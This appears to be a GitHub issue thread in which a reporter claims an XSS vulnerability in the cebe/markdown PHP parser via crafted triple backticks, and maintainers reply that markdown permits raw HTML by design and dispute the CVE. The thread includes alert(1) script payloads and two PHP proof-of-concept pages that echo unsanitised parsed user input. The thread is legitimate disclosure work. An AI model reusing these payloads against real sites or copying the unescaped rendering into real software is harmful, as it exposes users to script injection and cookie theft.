markdown: Inconsistent behavior of multiple backticks
Issue
There is a reflected and/or stored xss vulnerability (depending on how the markdown is parsed from user input or from a user uploaded file) from a crafted use of backticks, in all of the following parsers:
GithubMarkdown
Markdown
MarkdownExtra
How?
The vulnerability occurs when a user crafts a malicious payload with characters before a 3 backtick wrapped payload, thus bypassing the parser escape. For example, here is an image of the payloads crafted with single, double, and triple backticks:

And here is an image of the payloads rendered:
As you can see when the payload is crafted correctly using three backticks, the parser will render it as a script, this can allow malicious individuals to render scripts within a .md
file or within a text box on any platform that is using this as the markdown parser. An example of a ran script:
Impact
Doing a quick search on Github for the code that enables your parser: new \cebe\markdown\
. I get this many results:
The vulnerability can be either stored using an .md
file (README
for example), or reflected if the markdown parser is just parsing the user input text. Malicious attackers can use this method to steal sensitive user data. For example to steal a users cookies:
This can allow serious impacts on not only the end users using the site, but the reputation of the website as well.
Proof of Concept
User input
You can use the following code for a PoC on user entered text:
<?php
/*
* to run this PoC do the following:
* composer require cebe/markdown "~1.2.0"
*
* For proof that the markdown is not sent as a script do:
* `<script>alert(1);</script>`
* this will output the script in a safe way.
*
* To make an alert do:
* L: ```<script>alert(1);</script>```
* this will display a rendered alert
* */
include 'vendor/autoload.php';
function parseData($data) {
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
return [
"<div class='parsed-github'>".$parserGithub->parse($data)."</div>",
"<div class='parsed-markdown'>".$parserMarkdown->parse($data)."</div>",
"<div class='parsed-markdown-extra'>".$parserMarkdownExtra->parse($data)."</div>"
];
}
if (isset($_GET['poc'])) {
$parsed = parseData($_GET['poc']);
echo "<!doctype html>
<title>PoC</title>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#'>
<label for='markdown-poc'>Markdown: </label>
<input id='markdown-poc' type='text' name='poc'>
<input type='submit' name='Submit'>
</form>
</body>";
}
MD file
And you can use the following code for a PoC on text read from an MD file:
<?php
/*
* to use this PoC you will need composer to require the library:
* `composer require cebe/markdown "~1.2.0"`
*
* After this has been done you can create an MD file anywhere on your system,
* to verify that the parser to render the data in a safe way use `<script>alert(1);</script>`,
* or whatever script you decide to use
*
* In order to get the data rendered as javascript:
* L: ```<script>alert();</script>``` or whatever script you decide to render
* */
include 'vendor/autoload.php';
function renderFileContent($fname) {
return file_get_contents($fname);
}
if (isset($_POST['upload'])) {
$tmpName = $_FILES['poc']['tmp_name'];
$contents = renderFileContent($tmpName);
$parserGithub = new cebe\markdown\GithubMarkdown();
$parserMarkdown = new cebe\markdown\Markdown();
$parserMarkdownExtra = new cebe\markdown\MarkdownExtra();
$dataGithub = $parserGithub->parse($contents);
$dataMarkdown = $parserMarkdown->parse($contents);
$dataMarkdownExtra = $parserMarkdownExtra->parse($contents);
$parsed = [
"<div class='parsed-github'>" . $parserGithub->parse($dataGithub) . "</div>",
"<div class='parsed-markdown'>" . $parserMarkdown->parse($dataMarkdown) . "</div>",
"<div class='parsed-markdown-extra'>" . $parserMarkdownExtra->parse($dataMarkdownExtra) . "</div>"
];
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
{$parsed[0]}
{$parsed[1]}
{$parsed[2]}
</body>";
} else {
echo "<!doctype html>
<head>
<title>PoC</title>
</head>
<body>
<form action='#' method='post' enctype='multipart/form-data'>
<span>Upload file:</span>
<input type='file' name='poc'>
<input type='submit' name='upload' value='Upload'>
</form>
</body>
";
}
About this issue
- Original URL
- State: open
- Created 6 years ago
- Comments: 29 (17 by maintainers)
Hi, thanks for the detailed post. I was not aware of a CVE being assigned to this issue and I agree that this is not a security issue. The documentation in the README explains this situation in detail: https://github.com/cebe/markdown#security-considerations-
I have requested the CVE to be rejected.
I got the bug tag, never been more happy in my life lol
Thanks for the detailed report. As pointed out by @samdark this is due to the nature of markdown and not a bug. You may remove HTML support by creating your own Markdown flavor class, which does not render the HTML, but the safest solution is to use HTML Purifier or similar tools.
I added a section in the README about this: https://github.com/cebe/markdown/blob/master/README.md#security
@cebe This still does not explain why it mitigates simplistic attacks such as:
into:
If you are saying that the design of the parser allows this, then the simplistic attacks as stated would not work.
Markdown doesn’t ensure output is secure in any way by design. It is allowing HTML so you don’t need to craft it like that, just use
<script
directly.FYI: The issue is not reported by snyk anymore.
No problem. I also put in a request and just received this response from Mitre:
Well, the rendering is technically correct according to the markdown spec. If you use multiple backticks you need to leave space before and after the code.
But it seems other parsers are doing it differently…
https://johnmacfarlane.net/babelmark2/?normalize=1&text=something+```<script>```
@samdark I think you should incorporate HTMLPurifier into the code itself if that is what would be needed to fix the XSS issues in it. That would probably save you guys a lot of headache along with people like me who find bugs in stuff that they use sometimes. Thank you for your input I’ll wait for @cebe
It’s not the job of the markdown parser to escape/cleanup output.
Please re-read markdown specification. It says explicitly that it allows any HTML by design and it’s unsafe by definition to allow users to enter markdown w/o further escaping/cleanup.